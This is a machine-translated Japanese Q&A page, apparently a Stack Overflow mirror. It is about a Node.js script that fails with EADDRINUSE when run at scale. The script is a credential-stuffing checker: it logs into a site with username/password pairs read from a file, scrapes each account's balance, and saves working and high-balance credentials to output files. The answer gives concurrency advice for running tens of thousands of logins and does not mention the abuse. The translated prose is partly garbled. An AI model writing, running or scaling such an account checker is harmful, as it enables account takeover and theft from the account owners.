2017-11-05 19 views
0

5,10,1000コードは問題なく動作するようにdata.txtをで私のデータがあるとき、私はタスクが多すぎる場合、nodejs http要求は失敗しますか?

var mins = 150; 
var url = require('url'); 
const domainim= 'example.com'; 
const request = require('requestretry').defaults({ 
     jar : true, 
     timeout : 120000 
    }); 
const req = require('request'); 
var fs = require('fs'); 
var linkler = []; 
var timeoutsure = 120 * 1000; 
var separateReqPool = { 
    maxSockets : 20 
}; 
let success = 0, fail = 0, toplam = 0, plusplus = 0; 
let adet = 0; 
let jardata = {}; 
let baslama = Math.round(new Date().getTime()/1000); 

function texts(l) { 
    var t = ""; 
    var p = "abcdefghijklmnopqrstuvwxyz"; 
    for (var i = 0; i < l; i++) { 
     t += p.charAt(Math.floor(Math.random() * p.length)); 
    } 
    return t; 
} 

fs.readFile("data.txt", function (err, data) { 
    if (err) 
     throw err; 
    data = data.toString().replace("\r", ""); 
    data = data.split(/\r\n|\r|\n/g); 
    console.log("toplam data : " + data.length); 
    toplam = data.length; 
    data.forEach(
     function (line) { 
     isle(line); 
    }); 
}); 

function onExit() { 
    console.log('\n%d sec,\n%d total,\n%d suc,\n%d fai,\n%d plusplus,\n---------------------\n', 
     (Math.round(new Date().getTime()/1000)) - baslama, toplam, success, fail, plusplus); 
} 
process.on('exit', onExit); 

function dataok(id, pass, bakiye) { 
    console.log(id + " " + pass + " " + bakiye); 
    var fd = fs.openSync("hardblock.txt", 'a+'); 
    fs.writeSync(fd, id + " " + pass + " " + bakiye + "\r\n"); 
    fs.closeSync(fd); 

} 

function extradata(id, pass, bakiye) { 
    console.log(id + " " + pass + " " + bakiye); 
    var fd = fs.openSync("harddata.txt", 'a+'); 
    fs.writeSync(fd, id + " " + pass + " " + bakiye + "\r\n"); 
    fs.closeSync(fd); 

} 

function isle(line) { 
    jardata[line.split(" ")[0]] = req.jar(); 
    request({ 
     url : 'http://'+domainim+'/', 
     jar : jardata[line.split(" ")[0]], 
     headers : { 
      'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36' 
     }, 
     maxAttempts : 15, 
     retryDelay : 2000, 
     followRedirect : true, 
     // proxy :"http://127.0.0.1:38936", 
     timeout : timeoutsure, 
     pool : separateReqPool 
    }, function optionalCallback(err, httpResponse, body) { 
     if (httpResponse && httpResponse.attempts) { 
      adet += httpResponse.attempts; 
     } 
     if (err) { 
      return console.error('failed: 49', err); 
     } else { 

      data = { 
       username : line.split(" ")[0], 
       password : line.split(" ")[1], 
       submit : "Giriş" 
      }; 
      request.post({ 
       url : 'http://'+domainim+'/dologin/', 
       jar : jardata[line.split(" ")[0]], 
       header : httpResponse.headers, 
       headers : { 
        'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36' 
       }, 
       maxAttempts : 15, 
       retryDelay : 2000, 
       followRedirect : false, 
       followAllRedirects : false, 
       // proxy :"http://127.0.0.1:38936", 
       timeout : timeoutsure, 
       pool : separateReqPool, 
       form : data 
      }, function optionalCallback(err, httpResponse, body) { 
       if (httpResponse && httpResponse.attempts) { 
        adet += httpResponse.attempts; 
       } 
       if (err) { 
        return console.error('failed: 49', err); 
       } else { 

        request({ 
         url : 'http://'+domainim+'/', 
         jar : jardata[line.split(" ")[0]], 
         headers : { 
          'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36' 
         }, 
         maxAttempts : 15, 
         retryDelay : 2000, 
         followRedirect : true, 
         // proxy :"http://127.0.0.1:38936", 
         timeout : timeoutsure, 
         pool : separateReqPool 
        }, function optionalCallback(err, httpResponse, body) { 
         if (httpResponse && httpResponse.attempts) { 
          adet += httpResponse.attempts; 
         } 
         if (err) {} 
         else { 
          if (body.indexOf('class="success"') > -1) { 
           dataok(line.split(" ")[0], line.split(" ")[1], body.split('class="succes" title="')[1].split('"')[0]); 
           success++; 
           if (parseFloat(body.split('class="succes" title="')[1].split('"')[0]) >= mins) { 
            plusplus++; 
            extradata(line.split(" ")[0], line.split(" ")[1], body.split('class="succes" title="')[1].split('"')[0]); 
           } else { 

            request({ 
             url : 'http://'+domainim+'/refresh/', 
             jar : jardata[line.split(" ")[0]], 
             headers : { 
              'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36' 
             }, 
             maxAttempts : 15, 
             retryDelay : 2000, 
             followRedirect : true, 
             // proxy :"http://127.0.0.1:38936", 
             timeout : timeoutsure, 
             pool : separateReqPool 
            }, function optionalCallback(err, httpResponse, body) { 
             if (httpResponse && httpResponse.attempts) { 
              adet += httpResponse.attempts; 
             } 
             if (err) {} 
             else { 
             if (parseFloat(body)>= mins){ 
             plusplus++; 
             extradata(line.split(" ")[0], line.split(" ")[1], parseFloat(body)); 
             } 
             } 
            }); 
           } 
          } else { 
           fail++; 
          } 
         } 
        }); 

       } 
      }); 

     } 
    }); 

} 

、nodejsによっていくつかのAPIポイントにログインし、HTTPを呼び出す必要があります。

が、データが大きくなったときに15,000または50,000またはより大きな

のようにそれが唯一のhttpは10%の成功率で呼び出すことができます。他の人が失敗し、次のようなエラーが表示されます。

failed: 49 Error: connect EADDRINUSE 103.253.186.202:80 
    at Object._errnoException (util.js:1031:13) 
    at _exceptionWithHostPort (util.js:1052:20) 
    at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1195:14) 
    errno: 'EADDRINUSE', 
    code: 'EADDRINUSE', 
    syscall: 'connect', 
    address: '1.2.3.4', 
    port: 80 

私は間違っている可能性がありますか? nodejsはこれを行うことができませんか?予想通り

とjarファイルが動作しない、それは時々の他のsessionas間違い

答えて

1

を使用して一度に15,000 HTTP呼び出しをしようとしてすべきではありません。これは、サーバーが同時に使用されるリソースの観点から処理するにはあまりにも多く、要求がすべて同じホストに送られている場合は、おそらくその単一ホストが一度に処理できる以上のものです。私は、あまりにも多くの同時リクエストをしようとすると、一部のリソースが使い尽くされているため、EADDRINUSEが取得したものだと思います。

代わりに、より少ないリクエスト数を一度に実行する必要があります(10〜50の間で最高のパフォーマンスを試すことができます)。それを行う方法を示す他の多くの答えがあります。 BluebirdやAsyncなどの外部ライブラリを使用したり、手動でコードを作成するものもあります。ここではいくつかの例は以下のとおりです。

Run 1000 requests so that only 10 runs at a time

How to make millions of parallel http requests from nodejs app?

Node js socket explanation

Error: connect ETIMEDOUT when scraping

Make several requests to an API that can only handle 20 request a minute

Promise.all consumes all my RAM

+0

i use var separateReqPool = { \t maxSockets:20 }; はこれを制限するのに十分ではありませんか? –

+0

@MustafaMarsliTopaloğlu - 私は 'request()'ドキュメントから 'pool'プロパティを設定することがあなたの提案する方法を制限しているかどうかは分かりません。あなたはまだ多くの並列な 'request()'操作を起動しようとしています。 – jfriend00

+0

バラードを使用すると私は解決したプロミス+リクエスト - 約束 –

関連する問題